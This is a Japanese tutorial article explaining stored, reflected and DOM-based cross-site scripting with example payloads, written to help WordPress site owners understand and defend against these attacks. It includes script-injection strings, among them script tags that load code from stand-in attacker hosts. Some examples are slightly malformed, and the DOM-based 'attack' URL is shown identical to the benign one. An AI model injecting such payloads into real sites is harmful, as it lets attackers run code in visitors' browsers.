クロスサイト スクリプティング (XSS) 攻撃の種類
公開: 2022-11-04WordPress とクロスサイト スクリプティングに関する以前の記事では、これらのタイプの攻撃とは何か、およびそれらを防ぐ方法について概要を説明しました。 この記事では、いくつかのクロスサイト スクリプティングの例と共に、いくつかの詳細を掘り下げます。 さあ行こう!
永続的な XSS
永続的な XSS (または保存された XSS) は、クロスサイト スクリプティングの主要なタイプの 1 つです。 攻撃者が注入したものが後で使用するためにサーバーに永続的に保存されるため、永続的と呼ばれます。 訪問者が特定のページに移動するたびに、読み込み時または特定の関数が呼び出されたときに、ブラウザーによってコードが実行されます。
永続的な XSS の例:
投稿の下のコメント セクションで、誰かが簡単な回答/意見とともにアラート スクリプトを入力したとします。
Great solution! It works for me.<script>alert("Some text message")</script>
コメント セクションが脆弱で、送信されたコメントがサニタイズされていない場合、このコードはデータベースに保存されます。 その結果、それ以降、ページが (だれかによって) 読み込まれ、すべてのコメントと共に「悪いコメント」が表示されるたびに、メッセージと共にポップアップ ウィンドウが表示されます。
もちろん、警告メッセージは煩わしいかもしれませんが、実際には有害ではありません。 しかし、攻撃者が次のようなアラート メッセージの代わりに悪意のあるスクリプトを挿入するとどうなるでしょうか。
Great solution! It works for me.<script scr="http://attackerswebsite.com/maliciousscript.js">
煩わしいポップアップの代わりに、エンドユーザーは XSS 攻撃を体験します。 被害は、実行されたコードの種類によって異なります。 そのため、Stored XSS 攻撃は非常に危険であると考えられています。 彼らはすべてのユーザーを攻撃し、ユーザーからの入力さえ必要としません (最初にページを開くバー)。
非永続的な XSS
永続的な XSS ほど危険ではありませんが、非永続的な (またはリフレクティブな) XSS は依然として問題があり、クロスサイト スクリプティング攻撃の最も一般的なタイプとして認識されています。
基本的に、非永続的な XSS 攻撃で起こることは、エンドユーザーが悪意のあるリンクをクリックして別の Web サイトに送信し、悪質なコードの実行をトリガーすることです。 攻撃は巧妙に細工された URL または HTTP パラメーターを介して行われ、Persistent XSS のようにデータベースに永続的に保存されるわけではありません。
しかし、非永続的な攻撃を実行する前に、攻撃者は Web サイトが XSS 攻撃に対して脆弱であるかどうかを特定する必要があります。 これを行う 1 つの方法は、Web サイトの内部検索エンジンを使用することです。 検索する文字列、たとえば「靴」を入力してボタンを押すと、次のような関数が実行されます。
http://exampledomain.com?query=shoes
ただし、関数が実行される前に、入力した文字列がサニタイズされるか、少なくともサニタイズされる必要があるため、検索フォームが悪意のある入力から保護されます。
攻撃者は検索フォームを使用して、次のようなスクリプトを入力しようとする可能性があります。
<script type="text/javascript">alert("vulnerable");</script>
フォームがサニタイズされていない場合、関数は正常に実行されます。
http://exampledomain.com?query=<script type="text/javascript">alert("vulnerable");</script>
これにより (この例では) アラート ポップアップが表示されます。 これは、攻撃者が検索フォームに XSS 脆弱性があることを知っている場合です。
非永続 XSS の例
サイトで脆弱性が発見された場合、攻撃者は次のような URL を作成することを選択する可能性があります。
http://exampledomain.com?query=shoes<\script%20src="http://attacker-site.com/malicious-code.js"
次に、URL を「マスク」して、「悪い」リンクに見えないようにし、他のユーザーにこれをクリックするよう促します。 通常、これは私がスパム メールを送信したり、フォーラムへのリンクを含めたりすることです。
DOM ベースの XSS
DOM ベースの XSS (またはクライアント側 XSS) インシデントの間、攻撃は悪意のあるコードを含む URL を介して渡されます。
被害者のブラウザで実行されるため、クライアント側の脆弱性とも見なされますが、ここで起こることは、DOM の一部が変更され、クライアントが同意なしにコードを実行することです。
注: ドキュメント オブジェクト モデル (DOM) は、スクリプト言語を実際の Web ページに接続することによって、Web ページのレイアウト構造を定義するインターフェイスです。 これを実現するために、開発者はドキュメントにアクセスして操作を実行し、コンテンツを更新できます。
DOM ベースの XSS の例:
DOM ベースのクロスサイト スクリプティング攻撃の例は、居住国などのオプションを選択できるフォームで示すことができます。 以下の例で、これがどのように展開するか見てみましょう。
Select your country: <select><script> document.write("<OPTION value=1>"+decodeURIComponent(document.location.href.substring(document.location.href.indexOf("country=")+8))+"</OPTION>"); document.write("<OPTION value=2>USA</OPTION>"); document.write("<OPTION value=2>Brazil</OPTION>"); </script></select>
したがって、フォームで選択されたオプションを含むページには、次のような URL を介してアクセスできます。
http://localhost/?country=Lithuania
しかし、このようなエントリ (以下を参照) を試すと、ブラウザはその文字列を含む DOM オブジェクトを作成し、スクリプトを実行します。
http://localhost/?country=Lithuania
これは、フォームが保護されておらず、初期コードが HTML マークアップの準備ができていないために発生します。 そのため、DOM をページに描画し、悪意のあるスクリプトを実行します。
XSS 攻撃はあまりにも一般的です。 可能な限り自分自身を保護する簡単な方法は、WordPress Web サイトのプラグインを常に最新の状態に保ち、高品質のホストを使用することです。 これらの例で、これらのタイプの攻撃がどのように機能し、何に注意する必要があるかについてのアイデアが得られたことを願っています!